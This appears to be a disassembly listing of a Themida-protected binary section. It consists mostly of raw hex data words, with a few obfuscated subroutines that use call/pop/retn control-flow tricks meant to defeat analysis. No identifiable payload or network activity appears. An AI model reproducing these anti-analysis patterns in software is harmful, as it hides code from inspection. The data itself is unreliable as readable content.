5325BB50h, 815B2AEDh, 4EEA2434h, 6A5069h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 95255FC3h, 0F9076FDEh, 899B40D7h, 1202D995h, 0C858D06h dd 0E80615BDh, 13h, 78F4402Ah, 4322EE34h, 0F4A722AAh, 0CCD418C1h dd 894852EFh, 12329DB5h, 0BD895B06h, 6120EBDh, 0DE850h dd 0D8640000h, 52AB022Bh, 17F20A8Ch, 5FA7F4DDh, 0E9240489h dd 10h, 0C7F511DFh, 6D94D052h, 58686EB8h, 0A2977ABCh, 303195FFh dd 0B70F0612h, 0B50961DAh, 61228A5h, 1185C7h, 30612h, 0B5890000h dd 6121375h, 0BD0CBD83h, 0F000615h, 4984h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0DA1DA7F1h, 6E829h, 98740000h, 0D761843h, 1AD5BD01h dd 0E95F0612h, 2Dh, 0DE9h, 824C000h, 0AF8D815Bh, 7F720B54h dd 3050C5F5h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0A8BACE61h, 0EE59D0Bh, 0B5890612h dd 6121C91h, 11BD83h, 0F030612h, 4A085h, 83FB8B00h, 15BD0CBDh dd 840F0006h, 491h, 2A899D03h, 9D8B0612h, 612346Dh, 0BD0CB5FFh dd 870F0615h, 6, 3105BD89h, 95FF0612h, 6122029h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1FC35242h, 25558AA8h dd 1FD1BD8Bh, 0B58B0612h, 615BD00h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 23C35141h, 0C0FCADC1h, 106C7h dd 6A0001h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 78C1D4C3h, 0E9CEB3FBh, 11h, 1AF5B288h, 920FC6CBh dd 4095DF8Fh, 22A0D269h, 0BB665035h, 3489F5A9h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0CB5FF63h, 6A0615BDh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 2309C351h, 122D119Dh dd 0E195FF06h, 0F06121Ah, 288h, 8BF98B00h, 15BD00B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0E86BD79Ah, 148C0FBEh, 0F000000h, 0E8Fh, 9E900h, 0F9FC0000h dd 93C59F6Eh, 8BE7AA56h, 12303985h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 78C1D43Bh dd 868993FBh, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 48C35141h, 0B501DA02h, 6122A61h, 2DCD958Bh dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 34961CC3h, 507136BCh, 4C2835Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1AC35343h, 0C8BE4970h dd 24A1B531h, 50890612h, 0EA858D20h, 8B0615D0h, 1223E99Dh dd 0B8868906h, 89000000h, 120B4185h, 6AFC06h, 2BE99D8Bh dd 0B5FF0612h, 615BD0Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0DDC35141h, 0FF5278B2h, 122CD595h, 0A410BB06h dd 840F2DB2h, 3, 50DF8B66h, 6A243489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BBFC357h dd 121A9DBDh, 0CB5FF06h, 6A0615BDh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6185C351h dd 19BD8B22h, 0FF061229h, 122E2995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 2147A8F2h dd 15BD8Bh, 0BD830612h, 6121189h, 5B840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 2857C352h, 68D09620h, 738A96DAh, 0EE950h dd 10510000h, 7D4E7B03h, 0E1332880h, 8DF63A52h, 6A243489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 5BDFC350h, 0B5FF5F52h, 615BD0Ch, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C1C35242h, 0A595FF11h dd 6A06122Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 833CC350h, 0E90B5AB4h, 6, 0D76D4DA7h dd 0B5FFEA94h, 615BD0Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 4C35545h, 0B7E78166h, 0B195FFBAh, 106121Bh dd 12157D85h, 41BD8306h, 206122Ah, 97840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 43E152C3h, 1D458589h, 858B0612h, 61218A9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 76C35646h, 50FD9420h dd 2D9D8B46h, 0C606122Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 816033C3h, 49FF8DF3h dd 0CD958944h, 6106122Ah, 12E960h, 8A80000h, 684D58FFh dd 74BEDD31h, 3A0B7CBFh, 97B82C15h, 185C761h, 61203h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0E43C352h, 6E8DEh, 8B240000h, 0B95F21F3h dd 5FA1E780h, 196E6CBFh, 0F399E93Bh, 6AFFFFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 5FB0AC3h dd 58555F6Dh, 602A3DA3h, 33F5B50Bh, 95290612h, 61218ADh dd 8AC18B61h, 65858DF9h, 6A061200h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 3E1FC356h dd 81AED277h, 6DD9C8DBh, 0C810F64h, 0F000000h, 689h, 99D0300h dd 90061229h, 0B5F173BBh, 8B665056h, 6A90FBh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7F47DC3h dd 0AA97124h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0BD9E78C3h, 5BCA4149h, 6AFC8Ah, 2C2DBD8Bh, 858D0612h dd 616A732h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 66C35747h, 0E59D8938h, 83061227h, 9D8905C0h, 6120B51h dd 14E890h, 0D0170000h, 0E65B8723h, 0CBEDCEEAh, 44C8DD43h dd 0C26DE6E4h, 8B669C02h, 66505FF8h, 6A90DF8Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 110BC350h, 95299409h, 6122849h, 21359D8Bh, 6A0612h dd 0C98D8960h, 66061224h, 61ECB6BFh, 0DF81006Ah, 7C6C1059h dd 0B5595FFh, 0D98B0612h, 8DDF8B66h, 159BCA8Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 9A0FDEB5h, 27739F6Ch, 5181BF8Eh, 0D1FF429Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 16C35545h, 11784779h dd 42EA02B8h, 0ED85299Bh, 89061219h, 122D01B5h, 0E9BD8306h dd 106120Eh, 0AE850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 9FBAAFC3h, 30DDBBB1h dd 0A0BCBFABh, 26A3F9Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0B0C35646h, 8BB3E57Bh, 1212219Dh, 7BB79006h dd 0E8F0F50h, 0E8000000h, 6, 6BFD3188h, 6160B81Eh, 6A905Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 6D4DAC3h, 0B98AC34h, 0FF85E380h, 122CD595h, 0E8535006h dd 11h, 6F8C4DB4h, 0A14E57A5h, 68524FFEh, 6476914Ch, 5F5B5B4Eh dd 0E52E9h, 0E800h, 815D0000h, 16A73CEDh, 860F6006h, 6 dd 1519B529h, 6E90612h, 9D000000h, 6D266B25h, 8E0F6102h dd 3, 8BFEBF0Fh, 1215A99Dh, 8F858D06h, 6A061596h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 60D3C351h, 12E8h, 635A1C00h, 5390F8AEh, 20660FDAh, 0D9BE6824h dd 898E3E84h, 12202195h, 9D895B06h, 6121D69h, 0CB816661h dd 0F503398h, 480h, 29BF6600h, 240489B1h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4C35545h, 0F1363CF5h dd 73E03115h, 0B99D8953h, 5F06122Ch, 35FF64h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8119C353h, 37917D7h, 25896457h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5C6307 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6307 proc near ; CODE XREF: Themida_:005C62FFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C6307 endp ; --------------------------------------------------------------------------- sub edx, [edx-291D8EDh] mov dl, 66h mov edi, edx inc dword ptr [ebp+6121235h] push 0 push edx call sub_5C6332 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6332 proc near ; CODE XREF: Themida_:005C632Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5C6332 endp ; --------------------------------------------------------------------------- dw 0E6D6h dd 0BD0BF9FFh, 6120759h, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 4E1245C3h, 0D6779F6h dd 81603E14h, 91F496E2h, 0BE959h, 0CFDC0000h, 24544A9Eh dd 92B8816Ch, 0BD8B6172h, 6120B61h, 31C5B5FFh, 6A0612h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 38A536C3h, 1FA9BD0Bh, 95890612h, 6122481h, 147595FFh dd 46E90612h, 8B000001h, 1222199Dh, 100B006h, 12085595h dd 5670E606h, 25E9BD89h, 0E45F0612h, 84BF6671h, 0F613CC4h dd 12083h, 99D8900h, 0F061231h, 0E860C8B6h, 0Ah, 6112566Bh dd 4275C5B1h, 0C88A276Ch, 6BA615Bh, 89000000h, 121091BDh dd 8B2DB306h, 0D98B66C1h, 0F04E8C1h, 68Dh, 85B58900h, 66061203h dd 8D89E2F7h, 6122D55h, 0EE8C82Bh, 9E000000h, 0AE58CAACh dd 16DAE867h, 6CE41A44h, 55958941h, 5F06121Dh, 9E9D18Bh dd 0B3000000h, 0F439AC03h, 0ED3B2063h, 11E9h, 0CE900h dd 6A6C0000h, 65DE6B3Dh, 0A50910F7h, 858B0E41h, 6122665h dd 0EE9F1B7h, 6E000000h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh dd 7C08397h, 29399D0Bh, 0C0830612h, 8DEF8100h, 3B733697h dd 20830FD0h, 89000000h, 1218D595h, 57E906h, 10E90000h dd 44000000h, 156C18E9h, 315B180Eh, 0F4A49B4Eh, 8BF058ACh dd 1214F58Dh, 6860F06h, 81000000h, 0CADADCEBh, 1E1834Ah dd 27840Fh, 0B5890000h, 61218F1h, 14F5A583h, 2BFE0612h dd 122ED1BDh, 77DF8006h, 26659589h, 0B5890612h, 612161Dh dd 0E9h, 16B58D00h, 8106161Fh, 0A3259ACBh, 66006A29h, 0BD0BDF8Bh dd 61211F9h, 29D195FFh, 81660612h, 0B9E77CD7h, 7F8h, 13E9h dd 0EDE11400h, 4556E474h, 0D88EB7A2h, 6CBC6AA5h, 5CD0AAD9h dd 6AFCE183h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 584C355h, 73223E50h, 0E99D8BD8h dd 0FC061226h, 0B8h, 0FB8B6600h, 6AD22Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 7E4D3EC3h dd 2FC3D68Dh, 0C233AD7Dh, 0D003E8D1h, 7504E983h, 50006AF4h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 628077ACh, 62998FFCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 1EC35545h, 81666084h, 619BDCF1h, 880Dh dd 0F593BB00h, 958B7150h, 6122DCDh, 5BB1B352h, 31BD8D8Bh dd 7E80612h, 3B000000h, 8CC7EF67h, 8D8970E9h, 6120391h dd 8D89605Bh, 6120C21h, 8B5061F8h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 5BFE8B57h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0ADC35141h, 5F0422C9h, 0BD83CA22h dd 6121419h, 0C3840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0AC52C353h dd 6E82DE7Eh, 1A9D8589h, 10E80612h, 5B000000h, 26BE1EAh dd 0DAF1B56Bh, 0FCD986D5h, 0B37EE54Ch, 0B85B3Ch, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0E3E4C351h, 80BF4F86h, 0E958BC76h, 0Ah, 310D321Eh dd 3F9F08C8h, 8D8DF3E3h, 6124E4Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 86C35646h, 5FDD983Eh, 31576145h dd 121DFD8Dh, 0E1FF5F06h, 0EE8h, 4DB1F900h, 8F093AC7h dd 0DDF10E4Ch, 89A853FEh, 1208A595h, 0BD835F06h, 6120011h dd 46840F00h, 31000004h, 121A5585h, 11BD8306h, 1061200h dd 44E840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0BD2B4BC3h, 6121F05h, 1FF9B509h dd 0BD830612h, 6120011h, 0E3860F03h, 0B000003h, 1211B99Dh dd 6E806h, 0F0E10000h, 0D87ACF98h, 0BD89605Fh, 61217E9h dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 45F1C351h, 802D24C3h, 6A04E1h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0A3D579C3h, 0AFAB70Fh, 60840FC9h, 0E9000001h, 13h, 0AB95207Dh dd 0B7C6C35Fh, 44B0EED2h, 8220D48Ch, 8BF96A10h, 1230199Dh dd 0CD858B06h, 6A061224h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 24A6C353h, 97E92DE6h dd 337FBC4Bh, 12248D85h, 75950906h, 50061221h, 489F4B7h dd 6A006A24h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 2003C353h, 9589101Bh, 612284Dh dd 4E8h, 1F03FF00h, 8B665000h, 24448BFAh, 8BCFB304h, 52505600h dd 13E8h, 544B8F00h, 0CD591BC7h, 0ABB1AF10h, 0C5923D1Bh dd 50D648E8h, 0E9310F5Fh, 13h, 4EDC27E1h, 7CA5B258h, 92055E29h dd 0EE7E3C7Dh, 5AE41B04h, 44895F58h, 51510424h, 8F0Fh dd 5F5B0000h, 0F3816658h, 95FF168Ah, 6123031h, 2E41BD8Bh dd 85890612h, 615BD0Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0F7C35141h, 0E8BD1A0h, 56996B76h, 0E95BA7B3h dd 1EBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 22C35040h, 68C0Fh, 85290000h, 6123205h, 12E9h dd 0BC5DA600h, 6CB2A909h, 0E04DC077h, 256C08BFh, 8B8F7A84h dd 15BD0485h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 545CB6Fh, 89F56377h, 1233518Dh, 1800C706h dd 8B000000h, 1214D19Dh, 8B58B06h, 6A0615BDh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 8ACC356h, 0D38166F3h, 93B33DABh, 2399858Bh, 9D8B0612h dd 61225E1h, 0FE90689h, 57000000h, 3122840Dh, 0A43C2397h dd 8224C287h, 858B31ECh, 61224CDh, 89D88B66h, 6A0446h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0D43FBC3h, 33A9BD8Bh, 66960612h, 500CB2BBh, 8B96F88Bh dd 123249BDh, 4B5FF06h, 6A0615BDh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89F2C352h dd 122ED19Dh, 0FBA56806h, 0F5309F7h, 82h, 34815F00h, 0E8F85A24h dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8BC3E248h, 12150DBDh, 0F59D8906h, 8D06120Eh dd 15BD0C85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 63D78161h, 503C802Dh, 13E9h, 1D1FCD00h dd 0A89D52C2h, 72A31798h, 4B396DE7h, 72887CCEh, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0FD34C350h, 8166BDB0h, 0FF3FADC7h, 12303195h dd 0C8C0F06h, 0F000000h, 68Fh, 0D9858900h, 6106122Fh, 11E9h dd 8435BE00h, 0C916E98Ah, 0B06BDF25h, 0A426801Bh, 8E9D551h dd 0C5000000h, 6EDCC7BFh, 0C75999A4h, 12001185h, 306h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0EDF517DAh, 7FACE900h, 1E019509h dd 0BD830612h, 615BD0Ch, 0B840F00h, 29000000h, 12153185h dd 1BE906h, 30500000h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0AE9C0h, 0D6140000h, 6DE194C4h dd 814EF783h, 3DEB8166h, 50006A48h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 658D89A0h, 0F906121Fh dd 11BD83h, 0F030612h, 42A85h, 9BD8B00h, 8306122Eh, 15BD0CBDh dd 840F0006h, 417h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 9FC35545h, 5005841Eh, 0E973223Eh, 10h dd 56255604h, 2054D624h, 7BC34202h, 1067E60Eh, 68D0F60h dd 0F000000h, 8Bh, 48D0F00h, 66000000h, 612C5DB8h, 0BD0CB5FFh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 95FFD4C3h, 6122029h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0AFC35545h, 8BFE8BC4h, 15BD00B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 8C860E5Bh, 17549B1Eh, 0AE8h, 79CF6D00h dd 0D2EF4C9Eh, 0F8F03F36h, 0C7FE8A5Bh, 1000106h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BB660EF6h, 605092B8h, 0EFC0B9B9h, 0F8B0F42h, 0E9000000h dd 0Ah, 0CBC9E4CDh, 90E1C10Fh, 89614522h, 6A2434h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 1E69F4C3h, 0AB6E4DAEh, 0FD30E9Eh, 487h, 0E1BB6600h dd 0FFFA8B19h, 15BD0CB5h, 959D8B06h, 0FF06122Dh, 121AE195h dd 59B50106h, 8B061228h, 15BD00B5h, 5E78106h, 8B2E2D6Fh dd 12303985h, 85BD8B06h, 89061218h, 0C486h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 17F8BB16h, 49513003h, 2DCD958Bh, 9ABF0612h, 83785C92h dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0CACCC1C3h, 28E1BD2Bh, 50890612h, 51006A20h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 67BF66B4h, 419D8B37h, 8D061207h, 15D0EA85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0BBC015E6h, 7CC47EF2h, 0B88689DEh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0A4F6C350h, 5BD874A1h, 0E95680F1h, 7, 0EC4FB834h, 5B8C07CCh dd 0FD8A006Ah, 0BD0CB5FFh, 0FA8B0615h, 2CD595FFh, 95890612h dd 61219D9h, 89F88B50h, 1DB32434h, 0BD0CB5FFh, 9D0B0615h dd 612304Dh, 2E2995FFh, 10E90612h, 0C6000000h, 296CECEFh dd 6487E6AEh, 0C927A49h, 83CC0538h, 121189BDh, 840F0006h dd 54h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch dd 64C35141h, 581C2B32h, 8F71D240h, 964CF780h, 28D0F53h dd 60000000h, 0E9505B61h, 8, 53D02735h, 9FCBB91Ah, 0EE996h dd 45CF0000h, 99DA2D91h, 16F506C7h, 11A4E64Dh, 0BD0CB5FFh dd 81660615h, 0FF34C7D7h, 122AA595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 5B8A8E19h dd 0A7B1F39Bh, 702B0DBBh, 0CB5FF72h, 6A0615BDh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0B1C5C350h, 0B03E0E1h, 652E2753h, 0C88ACABBh, 0B195FF0Dh dd 8106121Bh, 4251ADE7h, 0FB8B6611h, 2A41BD83h, 0F020612h dd 5E84h, 858BFC00h, 61218A9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0F9C35242h, 6A0000C6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 710CC352h, 85F53FA1h, 12E9h, 0F324B900h, 2BDAA768h dd 0B82A8604h, 0D8F588F5h, 0C7611E72h, 12030185h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 152109C4h, 0E9F59CE1h, 0FFFFF314h, 1B3FBF66h, 6AC18Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD3192C3h, 61219A1h, 8DFBBF0Fh, 12006585h, 0B19D3306h dd 6006122Ch, 0BE9h, 0B708D000h, 0C9F86DD4h, 9A7F9187h dd 68B0Fh, 0F3810000h, 0E31369Fh, 0BF519061h, 2856B4FEh dd 0BB66505Bh, 6A902EDCh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 5193C356h, 8B8AA06Ah dd 122935BDh, 52006A06h, 6A5F46B3h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0BE6DAD8h dd 858DD98Bh, 616B6E5h, 3FF8C781h, 0C0837CF2h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0CE95B92h, 0EF000000h, 14127BA7h, 0F82E50D5h, 90496010h dd 1871B860h, 0BDBF0654h, 61212141h, 90D88B50h, 0A1F78166h dd 0DABF0F6Eh, 0BF0F006Ah, 81006AD8h, 3717A5D7h, 5595FF6Ch dd 8906120Bh, 12131D9Dh, 45D78006h, 9BCA8D8Dh, 12E90615h dd 52000000h, 5D50FAFEh, 2F9B27B6h, 27693FE5h, 3DF44354h dd 8BD1FF05h, 1213819Dh, 0E9BD8306h, 106120Eh, 31850Fh dd 8D310000h, 6122ED1h, 7259D8Bh, 26A0612h, 1C799D8Bh dd 0F500612h, 286h, 8947B700h, 0CB802404h, 0C38166A4h dd 95FF0DF8h, 6122CD5h, 0E9F9BF0Fh, 0EC2h, 0E8h, 0ED815D00h dd 616B6EFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0ADC35040h, 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 4855963h, 1EE78166h, 0F88B6688h dd 968F858Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0F2F2E7C3h, 0B8BB662Fh, 0BB669088h dd 53507509h, 2880Fh, 0DA8B0000h, 6A905Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8F10EDC3h dd 60DB116Dh, 277D952Bh, 0FE80612h, 0BD000000h, 6B3C38EDh dd 0D49E51DFh, 1C0D7F7Ah, 0D3B1635Ah, 0FF646159h, 35h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0B18D1B5Bh, 75F730B9h, 5684BBFCh, 858937C3h dd 6122381h, 258964h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 878EC356h, 8A5C079Ch dd 119D03FEh, 0FF061214h, 12123585h, 0D98B6606h, 6AFF6Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0BB6B48C3h, 0B2AE3DBFh, 860F50ABh, 0Bh, 6E9h, 0B3D41D00h dd 5F38AEA3h, 2431B5FFh, 8B660612h, 0F9BB66FAh, 7595FF33h dd 0E9061214h, 153h, 2121BD29h, 0B00612h, 0B41BD8Bh, 70E60612h dd 10E8h, 0B66E9E00h, 9B9283B2h, 0B643CEE8h, 767591BDh dd 0E1BD8B60h, 5B061233h, 0DF8B71E4h, 830F613Ch, 11Bh dd 1F8DB589h, 0B60F0612h, 0D38166C8h, 6BA83EEh, 89000000h dd 1222D1B5h, 8E806h, 758C0000h, 0E24CE03h, 5BF927B9h dd 0BE8C18Bh, 0B7000000h, 9A328D82h, 271CA8B1h, 9D8BED11h dd 6121CDDh, 4E8C15Bh, 4F38166h, 0CE9AFh, 7FA50000h, 0D436394Eh dd 5ECDE712h, 0F7661141h, 0BE9E2h, 5B710000h, 0A0E9DCB8h dd 9CBD8393h, 95316055h, 6120751h, 2D619D09h, 2B610612h dd 99D8BC8h, 8B06122Eh, 0E78166D1h, 8CE92A96h, 60000000h dd 858BDE8Bh, 6121185h, 8858B61h, 66000000h, 83CEE4BFh dd 0BD8B07C0h, 6121E8Dh, 0E900C083h, 0Bh, 0C9F333B2h, 8F9FD838h dd 3B6AF582h, 0F830FD0h, 89000000h, 120B1D8Dh, 49E906h dd 8B510000h, 8D8B5FD9h, 0FFFFFFFFh, 1E183F5h, 35840Fh dd 95310000h, 612270Dh, 0FFFFA583h, 0E9FEFFFFh, 13h, 5BF6103Eh dd 5773CF67h, 69634BBCh, 0FE41F5E3h, 89D014EFh, 895h, 0CF816600h dd 0E9065Ah, 8D000000h, 163656B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B2206400h dd 81E6505Dh, 6A006A72h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 7EB3C352h, 6F55F49Bh dd 0FFFB8B66h, 1229D195h, 0FE8B6606h, 0F92B9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0FC99A103h, 0FCE1838Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 57C35343h, 17E9BD8Bh, 6AFC0612h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6663C356h, 80E0E2BBh, 880FFEC7h, 15h, 10E9h, 0AF83E500h dd 35C2FE6Ah, 0CA208CF0h, 48E2B74h, 0B8BBh, 11E80000h dd 0 dd 86FB1D0Eh, 8BFD1117h, 18A43F4Ah, 220FD621h, 6AD22B5Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 91BEC357h, 9AFA68F0h, 66807469h, 0AD9ABEBFh dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 76C3C353h dd 3FAADE96h, 879BD33h, 6A0612h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 2F96F9C3h, 0DD03B236h dd 0CF819A08h, 5EAD542Bh, 0A86612BBh, 880D22h, 958B0000h dd 6122DCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 72C35141h, 0BE8h, 6D35F100h, 81E1E08Fh, 127FD9DBh dd 5FDA8B66h, 31BD8D8Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 884E0CC3h, 